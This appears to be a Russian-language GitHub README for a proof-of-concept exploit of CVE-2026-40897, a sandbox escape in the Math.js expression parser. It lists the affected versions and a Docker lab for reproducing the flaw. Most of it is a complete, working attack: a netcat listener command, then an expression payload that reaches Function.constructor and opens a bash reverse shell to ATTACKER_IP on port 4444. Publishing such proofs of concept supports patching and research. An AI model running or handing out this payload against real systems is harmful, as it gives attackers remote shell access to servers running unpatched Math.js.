yym8538/cve-2026-40897Эксплойт proof-of-concept для CVE-2026-40897 — обход песочницы парсера выражений Math.js, позволяющий удалённое выполнение кода через специально сформированные полезные нагрузки, а также лабораторная среда Docker.
★ CVE-2026-40897 Удалённое выполнение кода в Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 — это уязвимость обхода песочницы, приводящая к удалённому выполнению кода, в парсере выражений Math.js. Фильтр
isSafePropertyпроверяет доступ к свойствам только из пользовательских выражений, но не из внутренних путей кода. Утечка внутреннего массиваArrayNodeчерезtoJSON()и перезапись его.mapпозволяют злоумышленнику заставить внутренний код обратиться кFunction.constructorи выполнить произвольный JavaScript.
| Категория | Версия |
|---|---|
| Уязвимые | Math.js 13.1.1 ≤ версия ≤ 15.1.1 |
| Исправленные | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
После запуска уязвимого окружения выполните приведённые ниже шаги для воспроизведения атаки.
nc -lvnp 4444
Отправьте следующее выражение в math.evaluate (например, через поле ввода вычислений в приложении).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Целевой сервер подключается обратно к слушателю атакующего, предоставляя интерактивную оболочку bash.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) через парсер выражений